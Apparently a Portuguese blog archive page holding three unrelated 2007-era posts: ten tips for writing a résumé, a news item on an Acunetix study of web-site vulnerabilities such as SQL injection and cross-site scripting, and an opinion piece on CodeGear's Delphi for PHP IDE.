Quando alguém for analisar se deve ou não contratar você, ou chamar você para uma entrevista, existe um determinado conjunto de informação que essa pessoa precisa ter à mão – e cabe a você encontrar este ponto de equilíbrio, sem deixar faltar nenhum dado essencial, nem colocar informações desnecessárias que possam prejudicar a análise.

Siga as seguintes dicas:

1 – Nada de pressa. Prepare-se para dedicar algum tempo à tarefa de criar o seu currículo – ele não vai ficar pronto em 10 minutos, e certamente será um tempo bem empregado.

2 – Faça um diagnóstico. Procure se informar (no site da empresa, na imprensa ou de outra forma) sobre o que fazem as empresas para as quais você vai entregar o currículo, e que tipo de profissionais elas procuram. Escreva os currículos dando destaque às características que você tem e que se adequem ao perfil que a empresa deseja.

3 – Seja original. Para se inspirar, não há problema em ver modelos de currículos divulgados na imprensa ou em sites especializados, mas não os copie. Lembre-se que o seu avaliador provavelmente vai receber vários outros iguais a aquele modelo, e tudo o que você NÃO quer é ser apenas “mais um”

4 – Seja localizável. As informações de contato são essenciais. Elas devem vir no alto, em destaque, na primeira folha. Não procure ser mais extensivo do que o necessário: para a minha análise, basta ter o nome completo, telefone fixo, telefone celular e e-mail (todos devem estar atualizados e corretos). Informar múltiplos telefones fixos ou múltiplos e-mails deve ser evitado, a não ser que você tenha uma boa justificativa – o mínimo que se espera de um possível contratado é que ele consiga decidir qual o seu telefone e o seu e-mail de contato.

5 – Tenha um foco. Se você está procurando ao mesmo tempo uma colocação como professor de violão clássico e como programador web, faça um currículo separado para cada uma das vagas, sem misturar neles as aptidões tão diferentes entre si. Mas não tenha medo de mencionar (mas aí como nota adicional, sem destaque) no currículo para uma vaga técnica as suas aptidões artísticas ou humanas, ou vice-versa – as empresas não contratam robôs, e muitas vezes têm interesse em saber desde cedo como é a pessoa (e não apenas o profissional) que está contratando. O mesmo vale para atividades extra-curriculares, trabalhos voluntários e outros “extras”.

6 – Seja claro, direto e verdadeiro. Um ponto essencial é incluir a informação correta e completa, de forma direta e concisa. Tentar mascarar informações que a empresa vá descobrir depois é um risco desnecessário, e pode levar a uma posterior avaliação negativa simplesmente pelo fato de você ter tentado.

7 – Escreva de maneira informal, mas corretamente. Leia e releia, remova os erros de ortografia e gramática. Pontue, acentue. Entregue para alguém revisar, e verifique inclusive os dados e números. A última coisa que você quer é que o seu telefone de contato esteja errado. A penúltima coisa que você quer é que a presença de erros de digitação levem o seu avaliador a acreditar que você não é zeloso, ou que escreve mal.

8 – Seja seletivo. Dificilmente o seu avaliador desejará saber onde você fez o pré-escolar, ou o estágio obrigatório para se formar no segundo grau. É provável que ele queira saber se você fez cursos de informática ou de formação profissional em alguma área, mas o número de vagas para as quais é relevante a informação de que você fez curso de piano quando tinha 12 anos é bastante limitado. Incluir este tipo de detalhe no currículo é praticamente uma confissão de que o candidato não tem nada de mais relevante para informar, ou que não tem discernimento do que é importante. Duas boas razões para sair da pilha dos currículos que serão chamados para a entrevista…

9 – Inclua o essencial. Em um bom currículo, não podem faltar as informações de contato atualizadas, uma caracterização sobre você (nome completo, data de nascimento, cidade onde mora, estado civil, se tem filhos) dados sobre as experiências profissionais recentes (empregos, estágios – incluindo período e atividade desempenhada em cada um deles, no mínimo), a formação acadêmica (com detalhes apenas sobre as mais relevantes), e outras atividades e fatos que possam ajudar a definir você como profissional: participação em cursos e eventos, atividades como instrutor, atividades comunitárias, domínio de idiomas, aptidões adicionais (exemplo: dirigir, ter carro próprio…) e outros itens, desde que sejam relevantes para a vaga pretendida!

10 – Capriche no visual. Claro que a parte mais importante do seu currículo é o conteúdo, mas você definitivamente não deseja causar má impressão. Imprima com capricho, e entregue originais (e não xerox) do seu currículo em cada empresa. Se você tiver que corrigir alguma coisa, simplesmente edite e imprima de novo, nada de alterar escrevendo com esferográfica sobre o seu original desatualizado. Lembre-se que se você caprichar, o seu currículo pode ser o primeiro contato que a empresa terá com você. Mas se você não caprichar, é provável que ele seja o último.

E lembre-se sempre: nada de excessos. A sabedoria está no equilíbrio!

Web: 70% dos sites têm problemas de segurança

Quarta, 14 de fevereiro de 2007, 10h30 

Um estudo realizado pela empresa de segurança Acunetix revelou que sete em cada dez sites possuem vulnerabilidades de segurança que permitiriam ataques de crackers, em alguns casos com brechas para roubo de informações confidenciais.

  • Previsões para segurança em 2007
  • Conheça o Centro de Segurança Terra
  • De acordo com o site VNUNet, para Kevin Vella, vice-presidente da Acunetix, os resultados mostram que os problemas de aplicações web inseguras está sendo “completamente ignorado”.O estudo, realizado durante 2006, consistiu na verificação de 3,2 mil sites pertencentes a companhias e organizações não-comerciais que se ofereceram como voluntárias para o teste de segurança. Os resultados foram assustadores: um total de 210 mil vulnerabilidades, representando uma média de 66 falhas de segurança em cada aplicação online.

    Metade de todos os perigos encontrados dizia respeito a vulnerabilidades em bancos de dados SQL, enquanto outros 42% a falhas de cross-scripting, em que crackers inserem códigos em sites e serviços que são posteriormente executados nos computadores dos visitantes.

    “Estas estatísticas devem compelir organizações a olhar com seriedade para sua infra-estrutura de segurança. As recentes invasões na TJX, na UCLA e no Dolphin Stadium são provas suficientes de que o problema é bastante real e parece estar aqui para ficar”, explicou Kevin.

    O vice-presidente da Acunetix acrescentou que as companhias, governo e universidades nos Estados Unidos são obrigados por lei a proteger seus dados, conforme noticiou o site InformationWeek.

    Recentemente a empresa Spi Dynamics, especializada em segurança de aplicações web, afirmou que teve 99% de sucesso em explorar falhas de segurança nas aplicações online de seus clientes.

    Delphi for PHP

    27 de Fevereiro de 2007 Splash Screen do Delphi for PHP É um pássaro, um avião? Será mesmo que o Delphi for PHP será o Superman da WEB? Depois de desistir do mercado de IDE’s e colocar à venda sua popular suite, a Borland volta atrás e divide as operações da empresa para manter os produtos. Parece que a nova empresa está com todo o gás, pois anunciou um novo IDE: Delphi for PHP. Na verdade a ferramenta foi adquirida da Qadram Software Development que desenvolveu um IDE idêntico ao Delphi chamado QStudio. A notícia é no mínimo interessante. Será que a CodeGear (nova empresa da Borland) vai manter o sucesso do Delphi (Pascal) com este novo produto?

    A Borland sempre foi conhecida pelo seu pioneirismo quando o negócio é disponibilizar tecnologias emergentes em seus produtos. Mas será que desta vez podemos chamar isto de inovação? Unir a produtividade do Delphi com a facilidade do PHP é bastante tentador, mas a esta altura do campeonato será que ainda temos mercado para isto? É certo que a maioria dos projetos Open Source WEB são em PHP, mas ao que tudo indica o IDE será pago afastando esta possibilidade para popularizar o produto.

    Às vezes me pergunto se não seria tarde para um IDE proprietário entrar no mercado tentando facilitar o desenvolvimento de uma linguagem que já é uma das mais produtivas. Uma coisa é certa: Borland é Borland e já me surpreendi muito com a qualidade de seus produtos. Acho que o mercado de IDE proprietária ficou no passado e a maior contribuição que pode ser feita é realmente liberar o código para projetos Open Source. A própria comunidade deveria ser responsável por evoluir a suite ajudando a própria Borland a popularizar seus outros produtos que funcionariam integrados a esta suíte. As respostas para tantas dúvidas, só o tempo pode responder. Vamos aguarda o lançamento do novo IDE.

    Para saber mais:
    http://dn.codegear.com/article/34059 http://www.codegear.com/Products/Delphi/DelphiforPHP/tabid/237/Default.aspx